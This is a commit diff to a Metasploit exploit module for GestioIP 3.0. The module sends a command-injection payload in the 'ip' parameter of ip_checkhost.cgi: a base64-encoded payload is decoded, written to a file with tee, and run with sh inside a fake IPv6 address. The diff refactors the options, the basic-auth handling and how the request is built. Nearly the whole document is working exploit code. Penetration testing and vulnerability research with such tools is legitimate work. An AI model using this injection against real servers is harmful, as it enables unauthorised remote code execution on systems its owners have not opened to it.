Land #2463, fixes to gestoip

modules/exploits/multi/http/gestioip_exec.rb

@@ -36,9 +36,9 @@ class Metasploit4 < Msf::Exploit::Remote
         {
           'Space'       => 475, # not a lot of room
           'DisableNops' => true,
-          'BadChars'    => "#",
+          'BadChars'    => "",
         },
-      'Platform'        => [ 'unix', 'win', 'linux' ],
+      'Platform'        => [ 'unix' ],
       'Arch'            => ARCH_CMD,
       'Targets'         => [[ 'Automatic GestioIP 3.0', { }]],
       'Privileged'      => false,
@@ -47,16 +47,12 @@ class Metasploit4 < Msf::Exploit::Remote
 
     register_options(
     [
-      OptString.new('URI', [true, 'URI', '/gestioip/']),
+      OptString.new('TARGETURI', [true, 'URI', '/gestioip/']),
       OptString.new('USERNAME', [false, 'The username to auth as', 'gipadmin']),
       OptString.new('PASSWORD', [false, 'The password to auth with', nil])
     ], self.class)
   end
 
-  def uri
-    datastore['URI']
-  end
-
   def user
     datastore['USERNAME']
   end
@@ -70,16 +66,30 @@ class Metasploit4 < Msf::Exploit::Remote
   end
 
   def exploit
-    headers = {}
-    if use_auth
-      headers['Authorization'] = "Basic " + Rex::Text.encode_base64("#{user}:#{pass}")
-    end
 
     pay = Rex::Text.encode_base64(payload.encoded)
-    file = Rex::Text.rand_text_alpha(8);
-    send_request_cgi({
-      'uri' => uri+"ip_checkhost.cgi?ip=2607:f0d0:$(echo${IFS}" + pay + "|base64${IFS}--decode|tee${IFS}"+file+"&&sh${IFS}"+file+"):0000:0000:0000:0000:0004&hostname=fsd&client_id=1&ip_version=",
-      'headers' => headers
-    })
+    file = Rex::Text.rand_text_alpha(8)
+
+    options = {
+      'uri' => normalize_uri(target_uri.path, "ip_checkhost.cgi"),
+      'encode_params' => false,
+      'vars_get' => {
+          'ip' => "2607:f0d0:$(echo${IFS}" + pay + "|base64${IFS}--decode|tee${IFS}"+file+"&&sh${IFS}"+file+"):0000:0000:0000:0000:0004",
+          'hostname' => "fds",
+          'client_id' => "1",
+          'ip_version' => ""
+      }
+    }
+
+    if use_auth
+      options.merge!('authorization' => basic_auth(user,pass))
+    end
+
+    res = send_request_cgi(options)
+
+    if res and res.code == 401
+      fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Please provide USERNAME and PASSOWRD")
+    end
+
   end
 end